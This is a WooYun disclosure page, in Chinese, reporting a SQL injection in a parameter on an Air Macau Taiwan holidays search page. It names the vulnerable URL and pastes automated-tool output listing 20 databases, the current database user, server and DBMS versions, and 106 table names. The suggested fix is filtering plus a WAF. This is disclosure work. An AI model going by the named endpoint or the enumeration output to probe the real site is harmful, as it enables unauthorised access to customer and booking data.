当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-099246

漏洞标题：澳门航空某站SQL注入一枚

相关厂商：澳门航空

漏洞作者： goubuli

提交时间：2015-03-06 10:00

修复时间：2015-03-11 10:02

公开时间：2015-03-11 10:02

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-06： 细节已通知厂商并且等待厂商处理中
2015-03-11： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

RT

详细说明：

刚提交了一个，又挖到了一处。。。
厂商，不好意思啊，我不是有意一个个提交的，我发现一个提交一个的。求不要因为这个原因降低rank。。。
之前我挖到的：
1、 WooYun: 澳门航空某站SQL注入漏洞(明文密码)
2、 WooYun: 澳门航空某站4处SQL注入漏洞
3、 WooYun: 澳门航空某站又一处SQL注入漏洞成功登录后台+敏感信息泄露 （还未审核）
现在这一处是：
http://www.airmacau.com.tw/holidays/search.asp?key=%B3%DF%A8%D3%B5n
参数key存在注入
直接上工具跑了，不手工测了。
如图

150303——10.png


得到数据库：

150303——11.png


available databases [20]:
[*] ctu_Web
[*] hgh_Web
[*] master
[*] model
[*] msdb
[*] nkg_Web
[*] pek_Web
[*] pvg_Web
[*] ReportServer
[*] ReportServerTempDB
[*] s_airmacau
[*] sin_web
[*] szx_Web
[*] tempdb
[*] tpe_web
[*] tw_web_event
[*] tw_web_internal
[*] tw_web_outstation
[*] tw_web_telex
[*] xmn_Web


得到当前用户：

current user:    'guestuser'


当前数据库：

current database:    'tpe_web'


表：

web server operating system: Windows 2008 or Vista
web application technology: ASP.NET, ASP, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2005
Database: tpe_web
[106 tables]
+-----------------------------+
| CityName                    |
| NXPress                     |
| NotesLog                    |
| ReConfirm                   |
| co-brand_member             |
| advertisement               |
| amh_bkk_hotel               |
| b2blist                     |
| bbs_join                    |
| bbs_main                    |
| bbs_sub                     |
| bpbonus                     |
| cakk_application            |
| cargo_booking_adhoc         |
| cargo_booking_adhoc         |
| cargo_booking_flight_type   |
| cargo_booking_flight_type   |
| cargo_booking_no_type       |
| cargo_marquee               |
| cargo_track                 |
| cgormk                      |
| cobrand_pw                  |
| ctcb_application_agent      |
| ctcb_application_agent      |
| ctcb_ffpno                  |
| dapo_agent                  |
| dapo_apply                  |
| dtest                       |
| dtproperties                |
| eticket_aggregate_free      |
| eticket_aggregate_free      |
| eticket_aggregate_free      |
| eticket_ca                  |
| eticket_cobrand             |
| eticket_compensate          |
| eticket_free_product        |
| eticket_hotel               |
| eticket_magazine            |
| eticket_paylink             |
| eticket_product             |
| eticket_project             |
| eticket_reissue             |
| eticket_travelfair          |
| ffp_partner                 |
| flight                      |
| hotel_booking_contact       |
| hotel_booking_contact       |
| hotel_booking_contact       |
| hotel_booking_disney        |
| hotel_booking_guarantee_pay |
| hotel_booking_guarantee_pay |
| hotel_booking_hotels        |
| hotel_booking_mco           |
| hotel_booking_mfmhotel      |
| hotel_booking_product       |
| hotel_booking_show          |
| hotel_booking_tcuser        |
| hotel_booking_zaia_show     |
| htlbook                     |
| iataagent                   |
| iatauser                    |
| industryfare_lock           |
| industryfare_lock           |
| key_table                   |
| khh_ad                      |
| login_user                  |
| mco_contect                 |
| mco_order                   |
| mco_ticket                  |
| mileage_transfer            |
| newbonus                    |
| newsps_reporter             |
| newsps_reporter             |
| offers                      |
| online_payment              |
| pr_check                    |
| pr_control                  |
| pr_tmp                      |
| preorder_tmp                |
| preorder_tmp                |
| realtime_timetable          |
| recruit                     |
| route_command               |
| route_report_link           |
| sales_mail_list             |
| sales_mail_log              |
| shopping_type               |
| shopping_type               |
| sqlmapoutput                |
| sysdiagrams                 |
| tpm_data_bak                |
| tpm_data_bak                |
| vinfopackagedetail          |
| vinfopackagedetail          |
| vinfopackageitems           |
| vinfopackagereg             |
| vinfopackagetmp             |
| vinfouser                   |
| viplist                     |
| welfare_bid_detail          |
| welfare_bid_detail          |
| welfare_hot_join            |
| welfare_hot_main            |
| welfare_hot_sub             |
| welfare_news                |
| welfare_vote                |
+-----------------------------+


剩余数据不跑了。。。详见几个漏洞。。。

漏洞证明：

150303——10.png


150303——12.png

修复方案：

1、过滤
2、WAF

版权声明：转载请注明来源 goubuli@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-03-11 10:02

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2015-03-06 10:02 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    该航空网站注入点太多，非打包和主要系统业务不再首显！

  2. 2015-03-06 10:15 | goubuli ( 普通白帽子 | Rank:324 漏洞数:61 )

    @浩天 之前挖到的，已经打包提交了。这个是后来又发现的，我在详细说明里面已经跟厂商说明了。。。谢谢提醒！！！